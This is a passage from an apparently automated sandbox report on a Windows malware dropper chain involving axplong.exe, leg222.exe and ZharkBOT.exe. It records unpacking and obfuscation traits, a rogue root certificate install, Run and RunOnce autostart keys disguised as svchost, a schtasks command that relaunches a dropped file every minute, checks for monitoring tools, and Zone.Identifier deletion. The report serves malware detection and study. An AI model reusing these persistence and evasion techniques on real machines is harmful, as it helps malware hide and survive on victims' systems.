00000015.00000002.2738483590.000001662C5E2000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2734502417.000001662B5E0000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2736372776.000001662BFE3000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2728871110.0000016629DE1000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2729156228.0000016629FE6000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2743279212.000001662CDE7000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2740303581.000001662C9E8000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2736774582.000001662C1EA000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2735601672.000001662BBED000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2735992123.000001662BDEE000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2733319304.000001662B3EC000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2734791719.000001662B7E0000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2732670905.000001662B1E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: build16666.exe, 00000015.00000002.2732029264.000001662AFE0000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2729447807.000001662A1E4000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2730244326.000001662A7E9000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2730481150.000001662A9EB000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2729986189.000001662A5E4000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2731462760.000001662ADE9000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2730926078.000001662ABEF000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2742546399.000001662CBE3000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2735116835.000001662B9E8000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2729694439.000001662A3EB000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2739098908.000001662C7E2000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2737730487.000001662C3E6000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2738483590.000001662C5E2000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2734502417.000001662B5E0000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2736372776.000001662BFE3000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2728871110.0000016629DE1000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2729156228.0000016629FE6000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2743279212.000001662CDE7000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2740303581.000001662C9E8000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2736774582.000001662C1EA000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2735601672.000001662BBED000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2735992123.000001662BDEE000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2733319304.000001662B3EC000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2734791719.000001662B7E0000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2732670905.000001662B1E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: aspnet_regiis.exe, 00000014.00000002.2838084537.000000006C28F000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: mozglue.pdb source: aspnet_regiis.exe, 00000014.00000002.2837675015.000000006C0CD000.00000002.00000001.01000000.00000018.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Unpacked PE file: 0.2.mlk3kK6uLZ.exe.b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lkmvftub:EW;ajmdtwbz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lkmvftub:EW;ajmdtwbz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Unpacked PE file: 2.2.axplong.exe.9c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lkmvftub:EW;ajmdtwbz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lkmvftub:EW;ajmdtwbz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Unpacked PE file: 3.2.axplong.exe.9c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lkmvftub:EW;ajmdtwbz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lkmvftub:EW;ajmdtwbz:EW;.taggant:EW;
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Unpacked PE file: 38.2.FRaqbC8wSA1XvpFVjCRGryWt.exe.f60000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pngezuyu:EW;jnurgezm:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Unpacked PE file: 42.2.svchost.exe.1b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pngezuyu:EW;jnurgezm:EW;.taggant:EW; vs :ER;.rsrc:W;

Detected unpacking (overwrites its own PE header)

Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Unpacked PE file: 38.2.FRaqbC8wSA1XvpFVjCRGryWt.exe.f60000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Unpacked PE file: 42.2.svchost.exe.1b0000.0.unpack

.NET source code contains method to dynamically call methods (often used by packers)

Source: 5.2.RegAsm.exe.482040.2.raw.unpack, yBQYZwZvTcsA2wxVsly.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{txAQQmLiQCLZcg3ftF4(typeof(IntPtr).TypeHandle),typeof(Type)})

Source: Z73fDV6g4L.exe.5.dr

Static PE information: 0xFCFF54C7 [Fri Jul 4 05:16:55 2104 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: Z73fDV6g4L.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x66cc2
Source: axplong.exe.0.dr	Static PE information: real checksum: 0x1cb4a0 should be: 0x1d255b
Source: mlk3kK6uLZ.exe	Static PE information: real checksum: 0x1cb4a0 should be: 0x1d255b
Source: VP2pdCInvS.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x4e2a0
Source: leg222[1].exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x125d70
Source: leg222.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x125d70

Source: mlk3kK6uLZ.exe	Static PE information: section name:
Source: mlk3kK6uLZ.exe	Static PE information: section name: .idata
Source: mlk3kK6uLZ.exe	Static PE information: section name:
Source: mlk3kK6uLZ.exe	Static PE information: section name: lkmvftub
Source: mlk3kK6uLZ.exe	Static PE information: section name: ajmdtwbz
Source: mlk3kK6uLZ.exe	Static PE information: section name: .taggant
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: lkmvftub
Source: axplong.exe.0.dr	Static PE information: section name: ajmdtwbz
Source: axplong.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_009DD82C push ecx; ret	2_2_009DD83F
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: 4_2_00AAB328 push ecx; ret	4_2_00AAB33B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00428E7D push esi; ret	5_2_00428E86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004076E0 push ecx; ret	5_2_004076F3
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Code function: 9_2_02C816F8 push edx; retf	9_2_02C81701
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Code function: 11_2_0639ECF2 push eax; ret	11_2_0639ED01
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_6C39B964 push ecx; ret	18_2_6C39B977
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_6C3BB5F5 push ecx; ret	18_2_6C3BB608

Source: mlk3kK6uLZ.exe	Static PE information: section name: entropy: 7.9863934450517355
Source: mlk3kK6uLZ.exe	Static PE information: section name: lkmvftub entropy: 7.953235940244863
Source: axplong.exe.0.dr	Static PE information: section name: entropy: 7.9863934450517355
Source: axplong.exe.0.dr	Static PE information: section name: lkmvftub entropy: 7.953235940244863

Source: 5.2.RegAsm.exe.482040.2.raw.unpack, auIWlxlNKk3ogEo6Qsq.cs	High entropy of concatenated method names: 'bpRO74lhUJ', 'P7jOCpSA1a', 'vrgXZwWwlfcnllUUvjg', 'VuJS9nW4sDwAaP79JWP', 'B9rucnWDcP6ttpSKWS2', 'QQaljFL6ib', 'gBGlynsFOD', 'PvelkoKhfT', 'WqDl05uQBq', 'IOllu3a29a'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, JpaSaQgsNJQtdUCL4Ja.cs	High entropy of concatenated method names: 'NNEZ2koQG8', 'muxZQ06ri2', 'VhXk81WmZ5KwrOv3PKF', 'm2atlHW1UVcJF2wTEQW', 'GnI9YEWUFHMfYZZnUfH', 'QQaigAWisemX3hKna2s', 'IuxZuYW5qmUHUlAUJxA', 'CmOKlIWvU6Bv5VItSXc', 'IOrg7OQY2f', 'lRAgCZN3Xo'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, t4L8uckeoJkcJSI8KUe.cs	High entropy of concatenated method names: 'm5PkbpTBob', 'IcOkWPI2nv', 'nvlkwxwcJB', 'y8Sk4eEGTv', 'hjfkKBxjYi', 'WDbk1rqLrA', 'XOFkUvj6NF', 'ToString', 'HkNU6Fbl9XxxoD01CFJ', 'ysIn8lbJCQohtZow4nL'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, WaEOYJbfiqNn8QyPW0.cs	High entropy of concatenated method names: 'Field1', 'bAgo3QomCAQoa48aBMf', 'WOSiDIo1bPLksWB1pQ4', 'Nt1T9VoUSkEYBYPyV0M', 'QROvDfoiQ1AYY6thHdD', 'xhWdDbo52QXcQHcL88W', 'hOr6xqoDDB71jWtD9Cs', 'W2HR8eoKqhFJcVmnvVm'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, CUtxwWl25ktuQYjjngu.cs	High entropy of concatenated method names: 'H3qlnfaRlu', 'Si5loBnSNK', 'QsulrWaU8D', 'AsClhpNfnY', 'E5WlTneead', 'Im4leLqlXs', 's0hla8tlcQ', 'nBhlbJsHD0', 'Wc0lWZk2BD', 'peIlLMd3q7'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, hqABaNAmrht1DdWxZdy.cs	High entropy of concatenated method names: 'vQvZhgp69c', 'n8wGrnWF3bHFT2QvH9K', 'PhE09jWXihtswpb9uRw', 'a6NZeIvcVQ', 'w09ZaNDMGO', 'k0qZbyZtmT', 'V3XZWu47o4', 'exRImDWs7CPeU8GK9bG', 'kf4F3UWt5yKRfFwFCH0', 'L1KW03W73wsQv3Bewor'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, aPPk1Zdr12J893q06eJ.cs	High entropy of concatenated method names: 'Rd7dW8VFnv', 'TjDdwfGP9h', 'bxadDFcfxj', 'EaSdmVCaSc', 'EogdUhD5Bg', 'NNkdii5cDw', 'YDLdvDmK56', 'rWqdGFa5Tr', 'tMhdTqgl9f', 'YofdeOFdAY'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, Um4kXl0g3Qv4NjNPnk.cs	High entropy of concatenated method names: 'B0Gf7u5icx', 'J9ofCylOp6', 'Atmf8r2i78', 'DN3fzwXidR', 'lIIIBXcXil', 'tUGIHOAL3H', 'MnYISZ4UP7', 'lxlCJTbTdZ4wjH8AdGv', 'lEiC4ObeBDuNufPSN9i', 'GhCIJNy1ur'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, yBQYZwZvTcsA2wxVsly.cs	High entropy of concatenated method names: 'OGFNvXwjcPUPXu4rKF6', 'n13RCuwyEk6lTXM23iD', 'KaRYxc2y20', 'bN7nTTwfcfIGrm7wUwO', 'B4OfC1wI7Km6RhEPppC', 'sLoMgQwOXZO8yr0Ojtk', 'QqBIJpwZZsOmfPCMsgO', 'KxIR60wPyCGepJkh9pM', 'a2sZ0bwYUdfGx2PKEZv', 'g38PJ8K3c0'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, lALDbllf8eOCobfXRcP.cs	High entropy of concatenated method names: 'OfglOEfaiK', 'KV6lZCyi5N', 'mlxlPAqbJr', 'JpRlY7lwNx', 'wpolxcGNTE', 'TfDlMTM2Pl', 'BvClq7Rx9p', 'j75lpv2lZy', 'U54lE6vCTY', 'sb3l90kQII'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, JHGyrdymnxS4EO1VHnT.cs	High entropy of concatenated method names: 'Dispose', 'HtWSWkaDFyBwxRk7mmP', 'wTCrhWaKMvI5D8MWje3', 'Idp9llaw5Rj82ZT5Xk5', 'xEYHLxa4uN0TvO8ZLVk', 'WDPExYamBGu2eC0cOgU', 'Lcq2x2a1j2Ae0TqTgCj'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, fVlr6sEKd284e89L5b.cs	High entropy of concatenated method names: 'Field1', 'zeGcocb6q', 'Field2', 'Field3', 'oov3trV3H', 'C3HReJFF1', 'AbG2g3Dgr', 'DG5YwAoxCb9BrwrjRmN', 'hvQe1roM8Ofk9camEtp', 'ECtibSoPWZB97qrVjFI'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, UUlixHJLb0pbpHf1CpI.cs	High entropy of concatenated method names: 'zXExkTXhx9', 'TT8xx0fPCk', 'D5bJ4kax4y', 'qEgJDHRlxI', 'PPxJKL1xJS', 'Cq8JmfQhG3', 'kSrJ18ydUp', 'AS9xjNbiDS', 'TVix0jhbdv', 'sSHxMInHJg'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, V1cSAJJfhkJIt6UQCjN.cs	High entropy of concatenated method names: 'zXExkTXhx9', 'TVix0jhbdv', 'AS9xjNbiDS', 'XeJxusk98k', 'JmCxfb8hKs', 'I4FxIn7CXA', 'i55xOiM5Kt', 'HRNxZhhLsX', 'lZ8JOot1kg', 'sj8xPPTUQO'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, wmvEr9HuCjAco6JSpHc.cs	High entropy of concatenated method names: 'PHUO2R75x5', 'o1uOQ4PF42', 'Ewuu4gWA2YGtj6VBD2w', 'xjbLQaWNn0ThETvrJ2U', 'gUnx0AWjAXaeIb3pvix', 'hxsueOWyjej09xoi6IM', 'TTmOrOox7D', 'ufe0exW0ApA2LZXm8qZ', 'Ig8DElWuBQEPujA7fRH', 'pM6d7JWIXvgnplHyxXw'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, mJmX17oD9yNvbjgwU2.cs	High entropy of concatenated method names: 'sIJhuGbFB', 'EDhTnSXF9', 'E31eV4X5B', 'I\u04344', 'tDtSySooGv8ctDPgRgd', 'cjA6IjorGQOmHMwhFDJ', 'yFD15dohiKkVDikDmnx', 'fTvWo1oTVkwwxp6H4uJ', 'FHDDM8oedV6dD9io8qS', 'Bue4QcoarhoBQ7kS0Ka'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, i73GMgStvJiJY76EYcR.cs	High entropy of concatenated method names: 'K0NOVA5tTL', 'mNPn2vWacqQ1mul0dGJ', 'ddbKTCWbQo6iC7Tx9dw', 'wcvn9FWWJNRUcrwFZZM', 'QnmSCOZ297', 'AppS8sykjl', 'Dispose', 'USgSze4PdE', 'eTxOSPhAA0DPadoFjSw', 'kTj1g1hN5HwBI7gAZxk'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, utv96aS0vV0Go8FW2Er.cs	High entropy of concatenated method names: 'aiySqnHYl7', 'rQ7SEZZxZC', 's28ScN54xU', 'zjpS3OscsM', 'tEhS2jUhn5', 'E9uSQIyeEF', 'KLDSfY1eiW', 'VmTSIcdBOO', 'PKLSOeavJf', 'E0tSZ7sbpD'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, gCbguXgAbVYImA05lDO.cs	High entropy of concatenated method names: 'UD6g6iGBXe', 'ktAgyjcyMM', 'AmmgkpwZml', 'O2wg0N2ArG', 'tlDgugTk8S', 'A4pgfIor07', 'tOIgI6SeuT', 'YGBgOe5noi', 'd0CgZTfIL4', 'bpmgPjFmaR'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, j6qWdudZBZQyP0YoCGu.cs	High entropy of concatenated method names: 'qFOdYrcXFQ', 'RdtdxUYDu8', 'lnbO27T9Jh1Cddk7ahd', 'eODUbWTchQ9ycDy0llO', 'U1JXOgT3HxCBo8w4cnw', 'monPtvTpH51U920SFdF', 'kGbSD9TEqJyrhIsS54v', 'oHNf7fTRvBC6q5Xwngb'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, RHn8aPsGRQ0urfZqUV.cs	High entropy of concatenated method names: 'fLrO3qXEma', 'R0rdVhWScfrHcZrDswe', 'eVbiJQWlokhNCCq2Cri', 'IqJdq1WJKHoxMMgmMfY', 'yKDQN2WdQ4TWhgk9GFH', 'Field2', 'Field3', 'Dv27gup60', 'BFqupNrywh791nky9hB', 'KqxTQHrkZsMntpPS4tI'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, vsoRnulSaXy3sjFDCjO.cs	High entropy of concatenated method names: 'gHMldqBmRP', 'E1XlJrcvbF', 'ISYK9yhZ1oJtkF48sGK', 'IwHwSChPVvxaU3Icuwa', 'LXISjAhYoRfP60lI4eT', 'XNPnnbhxDUtYG1oYLPk', 'GYc7qEhMHRu5NDFkuDP', 'kcHC1LhIPVLOKh1nr62', 'idC2IThOEFhspvaEP5E'
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, p817EtHUWCqDRsOwMeB.cs	High entropy of concatenated method names: 'l0KOKT5ERB', 'YFsElIW36bIWFpbv7ty', 'mXtMj2WRKVjTPETJ7Qo', 'Ggy5NSW2rQ2HZskVKVT', 'eTASBiG6Xo', 'rbRH5OoQ8h', 'GTbHv9HkJL', 'GOtHG57sGX', 'zPSHFiUWt9', 'xYLHXM4mED'

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	File created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\leg222[1].exe	Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce espartu.exe
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svchost

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Window searched: window name: FilemonClass
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Window searched: window name: RegmonClass
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Window searched: window name: FilemonClass
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe

Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN espartu.exe /TR "C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe" /F

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce espartu.exe
Source: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce espartu.exe
Source: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce espartu.exe
Source: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce espartu.exe
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svchost
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svchost
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svchost
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svchost

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	File opened: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe:Zone.Identifier read attributes \| delete
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe:Zone.Identifier read attributes \| delete
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe:Zone.Identifier read attributes \| delete

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 58985 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 58985
Source: unknown	Network traffic detected: HTTP traffic on port 21707 -> 59240

Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
